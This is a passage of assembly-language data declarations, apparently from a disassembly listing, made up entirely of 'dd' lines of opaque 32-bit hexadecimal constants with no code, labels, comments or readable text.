		dd 7B6FBAB5h, 0B887505Bh, 981B2801h, 0B52CC010h, 0B0A9236Bh
		dd 0ACB985C0h, 0CB5DAF00h, 506AB4D3h, 0F689480Fh, 9E680AC1h
		dd 0DF953B53h, 9258A410h, 62A8E685h, 8113DBD6h,	785D0A19h
		dd 0D760C26Bh, 555185D6h, 0A3881208h, 50FF00D0h, 0D690B5A8h
		dd 740063E8h, 0FCE283C2h, 4CE3680Fh, 61C04E96h,	9E772A7Fh
		dd 0F7132200h, 0D62C0B5Eh, 505B046Ch, 0DB9667B7h, 35B8C035h
		dd 1DBF795Eh, 0CADEEB81h, 0C5947B1Fh, 2020AC50h, 95B3B34h
		dd 0AC056D93h, 0B9FDB53Dh, 0BE0025A8h, 1001368Ch, 0C5D05A53h
		dd 8E1CD16Eh, 0ADC64D73h, 9238BAF9h, 0B3475D16h, 1627588Bh
		dd 85B32FB9h, 0D4F7989h, 66782660h, 0D8B7160Fh,	142F253h
		dd 1741ECB2h, 64809222h, 2546CE75h, 0F22A986h, 5A5FE08Eh
		dd 66C1CD5Bh, 0F546F0AEh, 0FB86C656h, 779C18C6h, 0F29AD0CEh
		dd 0D8513E0Bh, 538853E9h, 0F06D88B9h, 361356A7h, 8A050C9Bh
		dd 37C5F1A0h, 12050F81h, 6EC18B01h, 0DB070A6Eh,	721B705Ch
		dd 905DA8BFh, 282A7D4h,	0F65871Dh, 0C1451783h, 8B456900h
		dd 79AEF2h, 0C10299EFh,	9862449Eh, 1DA7F101h, 25E95FDAh
		dd 410FA610h, 1AF6D70h,	38E9C3h, 0DAEE6FA7h, 0AA9AC1DEh
		dd 4B116E01h, 0E75EB975h, 0B4E8C5E9h, 0EB161392h, 1171F034h
		dd 6264F600h, 2C1049A6h, 0DD9700F0h, 0CE5D3FFBh, 260208A2h
		dd 0C77D92C4h, 0AEF875E3h, 2461B13h, 0BDA57707h, 754B014Bh
		dd 53EC567h, 0A8A6B84Bh, 0F0EAA4F8h, 0D2009242h, 0B2192337h
		dd 4EBB10ACh, 17AAC064h, 0DEB52A1Eh, 622100A0h,	0F06AC5E3h
		dd 0C8D7D600h, 16EB6E97h, 0E27E0840h, 0C700A209h, 3B5720EEh
		dd 5530009Fh, 0EF43513h, 540068F1h, 0F2D48C0Bh,	880119h
		dd 51B4A6F5h, 4F983408h, 91404Ch, 5659C59h, 0AAF184h, 0FD9643B6h
		dd 0F7026E5Ch, 35FF809Dh, 7C8B813h, 0CFE7155h, 0E8A09E09h
		dd 85BFD8D4h, 5F34A327h, 24C4905h, 3A77029Fh, 0E7588080h
		dd 7B0EF723h, 0CA7D97D3h, 2480DEA1h, 9B9DB779h,	2D8075C4h
		dd 7062C0FDh, 0C68AC4D6h, 0BCA33Ah, 35EAD97h, 0B3A740h
		dd 0EE9E6D89h, 59DC9377h, 0CF000E74h, 810816F5h, 0FEA498h
		dd 0DF219FB3h, 0DC73C6BBh, 659A2513h, 0B9709101h, 9388541Eh
		dd 0CA800108h, 3129DA81h, 0A2BC000Fh, 0FBA6A506h, 3E00AD50h
		dd 9C0D5F84h, 3EEDE85h,	0A187BE1Dh, 0E3A8414Ah,	60064B7Dh
		dd 0D72DDFEDh, 3E2001B4h, 0EF26BA2h, 47406F98h,	0B4039D68h
		dd 8990003Fh, 0C9FF623Dh, 0C0005CE2h, 1B3C5BC4h, 1987CA21h
		dd 4ABDF779h, 0F78C88Ah, 7154700h, 0AF5E5AC5h, 4A34B72Bh
		dd 0BAAC038h, 58FCDD60h, 7DF72A8Bh, 22370EE7h, 5C189416h
		dd 0D50071E9h, 1DE110F6h, 0A09F85F1h, 544438Bh,	2BE02913h
		dd 0B7904972h, 4640D8F9h, 3F25C30h, 525B07AAh, 0DAD80B4Fh
		dd 2C00D187h, 11FA1628h, 70AC8ACAh, 645E3F5Fh, 0B3970076h
		dd 685CD53Ch, 4B00C7B2h, 0CCECE3B1h, 0B546FE59h, 3E04390Eh
		dd 48B580C2h, 0DE012D17h, 78C72440h, 2D41CF9h, 0D0501E6h
		dd 98E210F4h, 2CBC8CD7h, 0A0AEB357h, 5302492h, 0FA5EBD0Eh
		dd 12ACC4h, 0E6C5FF60h,	7D52360Fh, 0D0C0A15Ch, 0C0FAC3Bh
		dd 0E92FC1EFh, 0CD3C0022h, 3299AFB2h, 5207901Fh, 91DB683Fh
		dd 54E5EBE0h, 0A02AD6F3h, 0DD012064h, 0E4C08384h, 0AD3B7B07h
		dd 22570197h, 0E581AD91h, 99AC11EBh, 0DBDE4001h, 4B0006F8h
		dd 28B2F1BCh, 50A5C888h, 995DF635h, 0E6954028h,	8C1EECBEh
		dd 1380E7B1h, 3410943Ah, 0C8C100A8h, 39C44B35h,	0EC309EAAh
		dd 0F961409Dh, 0F5D60EFh, 46FF2E30h, 0C1DC8212h, 0F5346842h
		dd 56F975AAh, 4F47709Dh, 0A309279h, 0E0AD9A36h,	0A64A3BB9h
		dd 7A169780h, 8AC6F31Bh, 0A32C320Bh, 0AA50E4h, 0D0F66ECDh
		dd 5CB9BBD4h, 0E7C4FE00h, 0E0EC3F5Bh, 3EE30050h, 4C30356Dh
		dd 0BDEE66h, 3497B1F0h,	496F01E9h, 913C1362h, 2F03E383h
		dd 4755829Ch, 0D8111DA5h, 0EADEC246h, 0FF608CC4h, 0FC05FD69h
		dd 0F7A1776Bh
		dd 6F2DB040h, 4A111Fh, 0BE89917Ah, 0AABF9AA5h, 70D27F50h
		dd 0AD4D641Bh, 0B11E82C4h, 0AD3BFA5Dh, 0CB8D00A4h, 96CF1EEDh
		dd 76FC58B2h, 0B931A614h, 0E9776C06h, 0F54E7750h, 0F97303EAh
		dd 32B8588Ah, 400180B9h, 0FCC54749h, 406F14EBh,	56C8ABBAh
		dd 0D5635775h, 420341Bh, 0F5D6E88Dh, 4CA8C010h,	0D901AD44h
		dd 0F264CC3Bh, 15ECACC8h, 9436C3FBh, 8F9A100Eh,	0E01EBDE4h
		dd 3C00B9A5h, 281C4522h, 4EBF15C3h, 1D748A48h, 0F08B9774h
		dd 2388BC2Ah, 6E492C70h, 7FE31C81h, 19272A80h, 3392458h
		dd 89ACDB75h, 0FEF0C70Ah, 8E166D9Ch, 0D8BE3B90h, 89011609h
		dd 0EC6D3F2Eh, 5D47357h, 66E73E23h, 628ED981h, 0F40FC988h
		dd 33F05DFDh, 0C8173100h, 77B696CDh, 41F42CA4h,	7A263BC3h
		dd 306D00B1h, 0FE60797Eh, 0B6C25103h, 0CA9EE234h, 3EDC49h
		dd 2F027176h, 0E5074D85h, 0A65756EEh, 23CE1930h, 5CC70774h
		dd 500E368Dh, 8F60CAC6h, 958ADB00h, 6C2B2685h, 0B6D749E9h
		dd 0AFA9C680h, 2D000B4Ah, 0CF963A91h, 2F19CAF2h, 0B740A6BAh
		dd 72135963h, 0B0002A2Fh, 0DBCA9D61h, 485E0122h, 95F22E08h
		dd 0CB5360D3h, 0F88884Ch, 0A7D4A8ADh, 0F741F073h, 0E5EDA26Bh
		dd 667FB70h, 0F15EFA84h, 34543692h, 8E09D2AAh, 0D7CF1CB8h
		dd 9AF91AE8h, 2A81C702h, 0D7F19514h, 0B576BDD9h, 5328C714h
		dd 291606BBh, 0CDB45BDAh, 31093168h, 0E61C8918h, 0EAB21EBBh
		dd 601B0912h, 0EBE562Ch, 62FE6EEh, 545E5BC1h, 401AAD8Bh
		dd 398957B9h, 0FBBA53DFh, 5B0819FFh, 6E56235Fh,	6253174h
		dd 8B2934ADh, 5DC2694Ah, 9FE94700h, 0FF00FB93h,	8C90AB18h
		dd 7280640h, 63D0D7C9h,	9CB8311Ch, 0E6306BEBh, 0EFCCB5Ah
		dd 5440473Bh, 14AD00FFh, 8026058h, 5B1D7073h, 0FDC07A12h
		dd 0A35C325Fh, 0A96B00C1h, 0F60D064h, 0BFF8F89Bh, 31FCB900h
		dd 7E0E3721h, 0D18F0973h, 8C8E0118h, 8B72B80h, 0CC98C565h
		dd 7F175000h, 58465C68h, 33572ECh, 75696FA7h, 63F8E008h
		dd 3D00B51Bh, 5CF3F173h, 3D9992Bh, 13855F37h, 0A9F84348h
		dd 0B3009118h, 0CF8373ADh, 3ABB5C08h, 0F7CFF459h, 269A4B41h
		dd 65146280h, 909D9885h, 0B06BF3h, 0A426801Bh, 0FA4BD551h
		dd 0A21D42F0h, 55C19EDEh, 56C6163Ch, 21203D7Ch,	8A905F04h
		dd 20AB50FEh, 0B85B71CBh, 0A0E9DC00h, 9CBD8393h, 0BB660F55h
		dd 90C97D91h, 0CDCD476h, 0A747FE69h, 0BB7F2F36h, 5F49FA0Bh
		dd 78945B6Ah, 0B958702Ah, 222C0349h, 5F949C9h, 15BD2B4Ah
		dd 8450A401h, 0DF2FEE2Dh, 0A200E837h, 649DB663h, 4C9A09EFh
		dd 0D0E234ABh, 0DB2784D6h, 30D77029h, 972A500h,	35D49FB7h
		dd 5EC097D2h, 50619A45h, 489FE62h, 0CB72DB2Fh, 40075495h
		dd 0CF3FBF66h, 361612DEh, 810995E3h, 0B5DFAC3h,	0A7795905h
		dd 290039B7h, 2C6832FBh, 0CCD2029Dh, 0B01BD33h,	0DA459CDCh
		dd 5BA298B8h, 0C0A8A82Ch, 0DF8102F2h, 0EB12324Fh, 41E8507Ah
		dd 0FB24029Fh, 8FA9B2AFh, 9F700653h, 0E905B6BEh, 0B640A6CDh
		dd 4FE948F8h, 843BF379h, 2900EE8Eh, 2B26FDB5h, 80DDB795h
		dd 721A8292h, 611279D8h, 1AB8CB4Eh, 807DCD5Ah, 0B790D912h
		dd 768A50A1h, 0B7D8F2DEh, 54FA2033h, 0BDA7FDD6h, 747D8124h
		dd 798E0FF4h, 895176C8h, 80C53A22h, 29CB12ACh, 0D70E4A7Fh
		dd 20E89689h, 0B5E4F5FFh, 652EF12Dh, 53FE18E3h,	215ABD89h
		dd 80B0A0C3h, 0ED4D8D09h, 80DF406Bh, 71E490D7h,	0A7ABB05h
		dd 0D9AD7858h, 0C480DC22h, 92B508C5h, 746DED3h,	0AABAAFE2h
		dd 0C006A064h, 990C501Eh, 0C1168B53h, 0C4B1EBB7h, 0F4DF3A85h
		dd 0EDBB13A1h, 538C2DEEh, 0C82B0997h, 20F54EF7h, 5B0B0B11h
		dd 46F8D18Bh, 0C82EF378h, 7F60E967h, 0D672BF17h, 8B4208CBh
		dd 0E1A50185h, 893F2707h, 0AC1B21D5h, 0A230620Ah, 0B5928AD7h
		dd 0FB1ABBA4h, 1200FDE6h, 0F6EFF0EEh, 8C1F5928h, 44D4FADBh
		dd 82C3027Fh, 0D6132C66h, 9DBDC1C1h, 0F1E64810h, 0C5D8155Ah
		dd 31538823h, 5F85952Dh, 0C751B9ABh, 9BD0182h, 6C091219h
		dd 4C2D2776h, 631C20CAh, 0A2E7D6C2h, 15C41C5h, 0B5084DF4h
		dd 0B9FCABB8h, 4F0F7F25h, 0C7CB4305h, 0F295E3E8h, 62622C2Dh
		dd 0DC02748Ah, 0F9FCE325h, 0A80D003Ah, 0F4BA0268h, 2B44EA0Bh
		dd 0DC465EC0h, 0F6BECF0Eh, 0B1DE17BAh, 8CBBE1C0h, 85A352Ah
		dd 60288ACFh, 44C4B5F4h, 46AB1107h, 81D0610Bh, 24373AC0h
		dd 2D814BB1h, 79E06914h, 2BC1F900h, 0ED2ADD05h,	0D6B400AFh
		dd 8B855624h, 615A86B2h, 0B57C6CC9h, 99820FC4h,	9EAB60C7h
		dd 54E7148h, 22BA45ECh,	6D645ACh, 0B05CB855h, 2DCED49Fh
		dd 0DBEB2245h, 0AAE5019h, 3472C02h, 0FB013DBDh,	6902D0D6h
		dd 934B8C02h, 0D626539Ch, 1642512Ch, 449C12E2h,	0A89035B8h
		dd 6FFE4F1Dh, 0F0F40008h, 3F8968B5h, 0C4B02Dh, 3BBB0BA9h
		dd 0FF1D72F7h, 8572E17Eh, 0F9EE099Fh, 353A44FFh, 530B656Bh
		dd 0F151B58Ch, 2572A46h, 889DC781h, 0CED451D0h,	9D04E150h
		dd 201CD3Dh, 0EB4A0F0Eh, 5BB3DE0h, 381F1B2Dh, 1A66F60h
		dd 209670A1h, 8BDC98F4h, 0D109B5F8h, 0F9272C59h, 53A80B9Dh
		dd 0ED9FB850h, 99EC0F0h, 94E6110Bh, 0C2C83BE3h,	0E5A4006Ah
		dd 7B05F1C6h, 36000A38h, 0F761A067h, 4AE18A6Ch,	5B0E0B8Bh
		dd 8127CE52h, 0D0C4F301h, 6B0C1A95h, 5A5A756Dh,	5A13B0F9h
		dd 0FD75C491h, 8C15ACF4h, 41329E24h, 272C0908h,	4DB5F0E6h
		dd 0DBD4C03Fh, 29127DA2h, 8DE1958Dh, 2148C13Eh,	905F0105h
		dd 0F287953Fh, 1DC50095h, 793F7520h, 0F2B600AEh, 0F4E05C2Bh
		dd 615F60D8h, 1D505FB0h, 38D301BBh, 87CD902Fh, 0E02817C0h
		dd 11DC02C0h, 9B055134h, 0D7881809h, 1B891AF5h,	0AF5F624Ch
		dd 3174896h, 1AB66768h,	60DE1A2Dh, 4EB5980Eh, 0C4F69B05h
		dd 74FA98B4h, 0A8ADA9DAh, 9F9414CAh, 0C702B8EBh, 800F7A0Eh
		dd 8444FF54h, 127F2922h, 0B68BF597h, 12B03851h,	70ABE9F8h
		dd 0AD5EB702h, 718000DCh, 0C69C38CDh, 1B5ABE1Ah, 9B6A4FC9h
		dd 3A18C082h, 48748CE4h, 90C0FC85h, 2BB304Dh, 66789B2Dh
		dd 0BB095B52h, 48BCDF53h, 0B2E75E16h, 0A0B5473Fh, 25AF4EAh
		dd 706786CBh, 7742D2BCh, 53DCABDFh, 335A54Bh, 3701C701h
		dd 203F0689h, 8B8F9EADh, 0A54C3C00h, 7601A456h,	17A90914h
		dd 53610FFAh, 4A09365Fh, 357A8FB1h, 4A2DA8CEh, 0AA97EE9Bh
		dd 8FCADAC0h, 9D97907h,	699D8998h, 0EC965A24h, 975944B2h
		dd 6A8C3200h, 85A7E9DDh, 95C7542h, 0C0C34120h, 0D12F57FCh
		dd 2E97873Ah, 60FDA955h, 7843B118h, 0BF960103h,	29DB15C1h
		dd 5FE44751h, 50D4EE1Ah, 0D8617B27h, 99010F33h,	0E14BAAE2h
		dd 86110DE9h, 7C2DE436h, 5541100h, 6997C7E0h, 1544950Fh
		dd 0B9C02300h, 0E63042D1h, 287FCE1h, 0BF770107h, 967F3299h
		dd 0C812566h, 0DE9F8894h, 48554B9Ch, 83D0B3C8h,	0AB1E43h
		dd 6D6A3C29h, 156B53Eh,	422C9774h, 0E113F33Dh, 6048955Fh
		dd 2EEF0065h, 129F05DDh, 92160030h, 0C2979A10h,	7A09BE66h
		dd 9A5A61D3h, 0BDAD6351h, 0EFB8A7B9h, 6205D42Dh, 1CB3FA9h
		dd 5E96F615h, 43B4E194h, 0E1C00DF8h, 91B79028h,	0EC4FE3Ch
		dd 75640073h, 0A1B72BCBh, 4201B345h, 0B4D4404Ah, 876A16E5h
		dd 903E9116h, 0D1203B57h, 0F5C946h, 0EE16B46Fh,	52D6FAACh
		dd 0B0C84904h, 9AAA5F9Eh, 0C063D076h, 0EFF9AFE8h, 62502419h
		dd 81324D0h, 61160D31h
		dd 0F1D783B2h, 26283FAFh, 0A1EEB51Bh, 7D9AB600h, 712407F4h
		dd 4D0A05A9h, 0E821E992h, 163D8568h, 96EF28ACh,	0BE80DC9Ah
		dd 4D77EFD7h, 81F9189Fh, 0A75A0BE3h, 0F7512666h, 4533544h
		dd 40B5110h, 94AAB589h,	1CC02C91h, 0BF60044Bh, 6F2B63h
		dd 0EAB4530Ah, 742C1184h, 0ABD6E501h, 0AD292D26h, 7E67133Bh
		dd 5A93A79h, 0A293D198h, 0B7CD7A2h, 0A79217B1h,	0FAC58CFCh
		dd 3C116A8h, 7F348D9Dh,	9C508E9Ch, 0F42D409Bh, 20B09F7h
		dd 0E287F5D1h, 85B77F72h, 2391E301h, 0DFC05316h, 0E2BC901Ch
		dd 0BB604867h, 760A78C3h, 695CC2B8h, 54491600h,	382E90FDh
		dd 9590B7C7h, 2900F058h, 6CC3CD0Ah, 1437616h, 0BF017F5Eh
		dd 707CA423h, 85B59559h, 11AE5F3Ch, 0E65AB636h,	7443F029h
		dd 667700E2h, 0FBBB0DD8h, 3B164AADh, 0C7888A0Fh, 0BF2D8682h
		dd 8AFE46FFh, 0F66CF4BFh, 16441348h, 0F1A62E19h, 933017F2h
		dd 0C99E252Ch, 2617075Ch, 89D7D9F9h, 5AFDF076h,	680BB1E2h
		dd 51DDBAA5h, 0FAF6CC08h, 0DBDB3AB5h, 0F04351D6h, 0D93F49A5h
		dd 0CF9002ADh, 8E8E0F02h, 0E88C748h, 0D0C6550Bh, 0B21A4200h
		dd 0BD0B357Fh, 605F2854h, 33793299h, 0D0F795DDh, 80614ABDh
		dd 0EDEB8099h, 66B300B5h, 0B53CE2BBh, 8218B11Ah, 0FE009983h
		dd 0F07563F7h, 5B94Ch, 42612573h, 5E48E020h, 35B51674h
		dd 811791C0h, 5298FD8Ch, 0BDA9220h, 6AB2B7DEh, 0C2D94D57h
		dd 4C40C5ACh, 0A0FC3D6Dh, 31E82413h, 0C56D0D1Dh, 8CDE175Ch
		dd 810460D2h, 0A42C75D6h, 691D30AFh, 39EED3F4h,	9C5B453Fh
		dd 88828286h, 0DD5C8CACh, 0D4F912A4h, 8320FF19h, 2D62Ah
		dd 735EEFE8h, 0A2824AB4h, 9E79E02h, 0D9E23992h,	774CA8DCh
		dd 7C53AC49h, 29152F89h, 6BA61CFBh, 0FE327109h,	10517141h
		dd 4A958D89h, 524C4A26h, 0E6C360F2h, 0F27C8DC2h, 40940500h
		dd 69A561BEh, 7C56050Dh, 0D7432DF0h, 48D22A4h, 630BD528h
		dd 28D2A889h, 0D480FF9Eh, 684618Fh, 0E8DE0064h,	4409ABBh
		dd 45040185h, 96054ED3h, 1BA15481h, 0F82DC94Bh,	0F552AC46h
		dd 0A8B75F0Fh, 8090DA5Ah, 0C17DE923h, 1FE85C47h, 200ACAC0h
		dd 0FC9FB7D8h, 89C50270h, 2BF1319Dh, 7092EE27h,	0F274B573h
		dd 3E9C3ADEh, 703CEF01h, 6A861D3Bh, 37E67974h, 2A500A7h
		dd 0C670F555h, 0B11D37BDh, 368F0F68h, 0F3DA2FEDh, 1814D9D6h
		dd 33E927F0h, 10B59F8h,	521C35BDh, 3D4C9683h, 0E70A9930h
		dd 3A97DD1Ah, 60666D67h, 6C22E1A3h, 44EC070Bh, 400DF690h
		dd 0DA395AD2h, 0CDFA8D00h, 3B65CAB3h, 0D74B00B0h, 55BB02F2h
		dd 2127975Dh, 0E9465A5Fh, 25C057DAh, 0B0128ABFh, 84027B81h
		dd 600EB790h, 0A208B9BAh, 0A5EA8257h, 33088132h, 0DA16859Dh
		dd 2FFD921Fh, 135DFADh,	8B7397B8h, 141693F2h, 5ED50532h
		dd 0B1DC5221h, 926E7A21h, 0CBCAD107h, 84122016h, 609D90F9h
		dd 1EBBF213h, 264F9335h, 6049267Eh, 0AB7A6870h,	340245B8h
		dd 5FB5B373h, 7D50E190h, 90B9163h, 0EC10ED8Dh, 264241BDh
		dd 3128333Ch, 12C2A10Eh, 2B679D7Fh, 48A62374h, 801CF3A0h
		dd 0E739510Ch, 44D9687Ah, 1497D128h, 0D9494520h, 85F96E84h
		dd 0AB4DEDC1h, 28E80F7h, 3C1BF50h, 842E4B34h, 0C26EAE21h
		dd 927FB24h, 94D63515h,	0DD089AE8h, 0FAE9040Fh,	0B10EB80Ch
		dd 405FD9Ch, 132591B3h,	0B01D850Eh, 7ED8D4Ah, 0B295481h
		dd 58F150h, 45414AEDh, 0EE038013h, 42CCD9F6h, 0B7D9009Dh
		dd 6DA3BF1Ch, 9970D67h,	960F3F03h, 2F58F03Ch, 2299774Bh
		dd 9F5302Ah, 489CFD9Dh,	6FCDCABEh, 0AAD086Bh, 0B9121E26h
		dd 9C6F75B1h, 54B7B9Eh,	422A0498h, 0F427E01h, 720435Ch
		dd 9AC78002h, 412970E6h, 0E4002412h, 8B196071h,	614FF595h
		dd 0FF0D482Eh, 8E0FC92h, 88FA08BFh, 0B8687687h,	90A66563h
		dd 1EB981CFh, 9C45860h,	8F89D966h, 4CB58903h, 0E8BA42C3h
		dd 0CE5B18DDh, 221E4D6h, 628077ACh, 50468FFCh, 0EA197902h
		dd 5C5B2FF7h, 0DAB78024h, 0DE8AC82Bh, 0D1C5B494h, 2C2F1B1h
		dd 225F8529h, 9898E9DBh, 0C5271DB3h, 44048533h,	0B81C110Ch
		dd 79059218h, 91125E9h,	82910A8h, 1F1CD24Ah, 3C10BB20h
		dd 0F4695F27h, 92A45FB8h, 890D44h, 4EED632Fh, 0A024983Fh
		dd 0EF178409h, 0A6217137h, 67CD60F0h, 5801D701h, 3B7BFE35h
		dd 0AE20537Eh, 0BE345B71h, 2784D431h, 7888A2Eh,	0FEB7D781h
		dd 30B95684h, 804249Eh,	5B1A28B9h, 0F5861156h, 9B30612Eh
		dd 0B6EF0572h, 0DBCF06D3h, 480F6A52h, 0F74B6FD3h, 73E64EE0h
		dd 0AC01BAA0h, 0E35DD705h, 0E41EFF49h, 0B90B2B50h, 5FBD0F19h
		dd 521DAF80h, 1399179Eh, 85BBE5Ah, 62A56520h, 0DC155664h
		dd 0F24BEF6Bh, 89BD2CF7h, 37A0A8FEh, 0D42F028Ch, 834FACFAh
		dd 0F469BD31h, 3ED2951Ch, 8B4B5EACh, 2BBF95C4h,	746A4AE0h
		dd 0D541BA09h, 1185EB81h, 3681040Fh, 0CA7E2439h, 7D6A4ABDh
		dd 7E849900h, 4B26A166h, 64423D02h, 8B159D2Bh, 492FF98Dh
		dd 985012D3h, 82E20301h, 0E8BF804Ah, 818CB9ACh,	431FF381h
		dd 5F872F2Eh, 99A519A6h, 18092E31h, 0F435560Bh,	3E1EF904h
		dd 8F8186E0h, 9E7F10A9h, 90E06007h, 0E546B8D8h,	238A3F2Fh
		dd 21092F16h, 89A3AC5Bh, 9B70158h, 0FEB64227h, 73EABF89h
		dd 752B1057h, 7F5100EEh, 0E1F2645Ah, 0CE7AEDE3h, 0FF78541Eh
		dd 4BDE9724h, 10D18A0Dh, 0CD400412h, 0A3254EA9h, 0A81A88AAh
		dd 93127EFh, 0D1C68751h, 490BF91h, 69001649h, 97880758h
		dd 0FC5459E0h, 0F898EF13h, 605B71C9h, 0BE786B9Bh, 0B4FB017Bh
		dd 5C8B6F52h, 0ECF84040h, 4C4B7797h, 0DBBFB180h, 6BCB252Bh
		dd 6D56AAC2h, 0B15E0E91h, 0D33D7C51h, 0EC89B4E1h, 2C7311ADh
		dd 4D9D0B84h, 900850ECh, 5EB88F0Fh, 2385D607h, 0ED3205CBh
		dd 67FDAB94h, 1838DFE8h, 9ED49392h, 57A10CFBh, 2940FD98h
		dd 0F868065Bh, 0B67E4BEBh, 0E8C0DF4Ah, 0F554E807h, 0BC46E7Fh
		dd 0EED986D5h, 0D85EB521h, 6AF0147Eh, 1F0BF6D9h, 0DC64CE79h
		dd 0C4EBCC9Ch, 94B1038Bh, 37A7FB5Ch, 0F6F062F9h, 9CC7AEC0h
		dd 26E44758h, 292FAB1Fh, 0DE60FED2h, 10EA8800h,	51BB87C2h
		dd 2BB309DDh, 45D6D8E9h, 866492BDh, 9648FAB3h, 6C10F709h
		dd 0F99ED259h, 0D948DBC1h, 302B7D84h, 3171BFCEh, 6E345525h
		dd 0D4EC94A9h, 66527500h, 314EE7CDh, 8AC1BFCBh,	0EB81000Bh
		dd 55580B2Ch, 2260891Fh, 96971AC1h, 88CD9DB1h, 5389F540h
		dd 0A4F69003h, 0C40A953Ah, 2C00DED9h, 584D4805h, 1225AB6Bh
		dd 0E99D3129h, 8A500B51h, 55E3C2F8h, 1F09A037h,	0B7AC58C7h
		dd 7C6B54EFh, 30DE13BFh, 25646365h, 0FDDC4C00h,	8AFAF8A8h
		dd 0F596020Fh, 2DD9531h, 36685F00h, 4C570986h, 0C72145B3h
		dd 0E64885C9h, 0A17DDB84h, 33242AC1h, 27F6FAFh,	0C9864532h
		dd 27CC5735h, 1F119510h, 2910EA48h, 0BB900109h,	30CDC9AFh
		dd 0FA277E6Ch, 5E0414Dh, 1795DE5h, 9DEFBD7Ch, 3AF909E3h
		dd 1A23016Bh, 1E499003h, 0CD4AF88Eh, 2D89E260h,	99726D9Dh
		dd 0F8E5C0A1h, 41EF7397h, 0B12E3DA7h, 11010E1Dh, 0F4DEBB04h
		dd 37C018C8h, 4A07207Fh, 25AA8A80h, 0F6335E5Ah,	200158FCh
		dd 0E8C891E6h, 232E38F5h, 9EEF9D92h, 976E2100h,	0CAE6D276h
		dd 0CE0DD11Ch, 1D4467h,	0E52673F0h, 5B622A70h, 39BE2BFAh
		dd 44000EEAh, 8E57E5D7h, 5262B5B8h, 0F1D1355Fh,	723181Dh
		dd 0B61EC182h, 22961162h
		dd 7B202F1Bh, 30F0C9h, 0D4B6F824h, 97AD692h, 0EE65CF04h
		dd 85AF9801h, 0E00AF66Fh, 0E2E412EBh, 0B40A0186h, 8BD66C83h
		dd 4BE86BDAh, 8A4AC090h, 5EE03AE9h, 99A034E7h, 0D60960D7h
		dd 813268F8h, 21ED8DD9h, 0AA06382Eh, 1EED034Ah,	0B103E1E8h
		dd 814F8345h, 0A56A1739h, 7680CA0Dh, 0E912B94Fh, 1CACD4F9h
		dd 9760008Ch, 37A68788h, 9001F7E5h, 5458CB81h, 0D82F79F2h
		dd 0F5749D30h, 79A8DB97h, 9F181Bh, 0FC7DD294h, 963202B0h
		dd 50FE8B04h, 0B8C8800Fh, 1FAB851h, 965BE01Ah, 82618509h
		dd 29BD0BEDh, 988E940Ah, 2FFCE0D8h, 2DF30B0Eh, 0F4521A5Ah
		dd 5D02EBCBh, 8B9AFFEFh, 0B5DEFF7Eh, 0E204E956h, 0E6AC4492h
		dd 98540D6h, 108F0F5Ch,	1EEB897h, 1ED71D0h, 0A49D7628h
		dd 2BDD2346h, 9BABDC24h, 282C014h, 0EEE55BDCh, 984732D9h
		dd 9110E80h, 40991D10h,	0EC604D07h, 0C639D80Fh,	5D12A1A4h
		dd 46B1A814h, 50E2F0BDh, 0DC5B0495h, 0AC8FE8A2h, 815200D1h
		dd 0E4AE4ADFh, 9D7FFF03h, 0B1B62E3Ah, 858907A0h, 0F3301D2Fh
		dd 0BD318930h, 6A582455h, 3F7B6FBBh, 98F9248Fh,	0B0F2AD00h
		dd 6BF4078h, 50DDFEC2h,	1E4B648Bh, 0F6D26FE2h, 4E78A077h
		dd 95ED7F1Ch, 79954970h, 0EFA04F3Dh, 1B5A40E4h,	9666A0BCh
		dd 9CD8748Ch, 974F4093h, 0B900DB21h, 95D9612Ah,	29DA1A9Ah
		dd 16560820h, 4BF0B80Bh, 8BA1E3E8h, 0C4282BFBh,	0F0238914h
		dd 50802AEDh, 0F04AB757h, 0DB81EAC0h, 0F9EBF00Bh, 0D6C1FC51h
		dd 153A1C46h, 0E6ECE900h, 0BEB0A8A5h, 92C564Ch,	95F953Dh
		dd 85145773h, 34A9B31Ch, 0D0A4F780h, 4507CB6h, 58EA802Fh
		dd 0B2DABECEh, 50CB1AC8h, 0FD130274h, 0D98B2085h, 916FB55Fh
		dd 48088017h, 170183F6h, 0ED35A99Dh, 0C9E8D3FDh, 0B63E7C80h
		dd 73013DC2h, 29E778DDh, 946B5DB5h, 0A3EFA846h,	750B872Dh
		dd 0DC1F16Dh, 352BE4B9h, 0B17D04E9h, 7EC60907h,	0E5D67A35h
		dd 0C482811Fh, 568EE911h, 47BF0094h, 8B1D6A65h,	2494C158h
		dd 4EA5654Dh, 504BBB8Fh, 8916118Bh, 4508F8E6h, 5610A519h
		dd 9D004513h, 38B54071h, 0F6F9B4h, 81BEFDC2h, 0E56E91C3h
		dd 565F2F25h, 0D8BAFA8h, 0DF8B54DBh, 74E66Ah, 73D957A6h
		dd 0D90D2B9h, 0E5FE170Dh, 0ED6F2698h, 0F9ACC3h,	1CEF6DDh
		dd 0D70ABB78h, 42B81B4Bh, 424ABB5Eh, 0B60598F9h, 0CA44300Ch
		dd 76EE2F65h, 554A3491h, 0A0A83BC4h, 65BC314Dh,	7A5EF8E5h
		dd 59A6C10Bh, 88F70262h, 9DD2914h, 0B926584Dh, 9AF72DC4h
		dd 0AC59DD3Eh, 2505840Ch, 0FF090DBBh, 309A72F6h, 0F31E3912h
		dd 5E2554DBh, 0E55BDEB6h, 81F035EEh, 43065BBh, 573C7CCh
		dd 0DC81A85Ch, 65B4BA80h, 3309860h, 9529F989h, 365E05D1h
		dd 0F0C34EFh, 0B7B2C9B7h, 356862E0h, 0D1FF0212h, 0D8805FB5h
		dd 0B70B371Ch, 7AD12C81h, 6FA118CCh, 0A31247BBh, 0ECB21C30h
		dd 0B07EFF92h, 0E1422801h, 7F870F53h, 6AFC2D42h, 2FD5002h
		dd 8C26BB50h, 0E3AB30EAh, 0DBC0F24Dh, 250618B3h, 2A5BACB0h
		dd 99181859h, 67FE8905h, 57843378h, 0BEE98842h,	59245C0Bh
		dd 209825C0h, 0C227EB4Dh, 72F6F31Fh, 9AB6655h, 2D67BB66h
		dd 35884273h, 95310E01h, 37EA07E9h, 22F25443h, 48CA140h
		dd 97A5289h, 0DAF69087h, 0C4CE4ADEh, 945EAD85h,	16B51056h
		dd 0F943C54Ah, 5CFEF980h, 0F97C6B5Fh, 6A3E2D10h, 0E11756C8h
		dd 5D8B212Eh, 0BB272Ah,	0FE3CFD08h, 9DA20BCh, 0C1CD705Eh
		dd 1C115F73h, 35BD1077h, 4B5902Fh, 70E6B80Ah, 54E7D9C0h
		dd 0E41312D0h, 7D000571h, 3E32EA02h, 0BEF524F8h, 0B9BD52D0h
		dd 0FC24D60Ch, 10D8CB36h, 82265146h, 30324A56h,	589EA955h
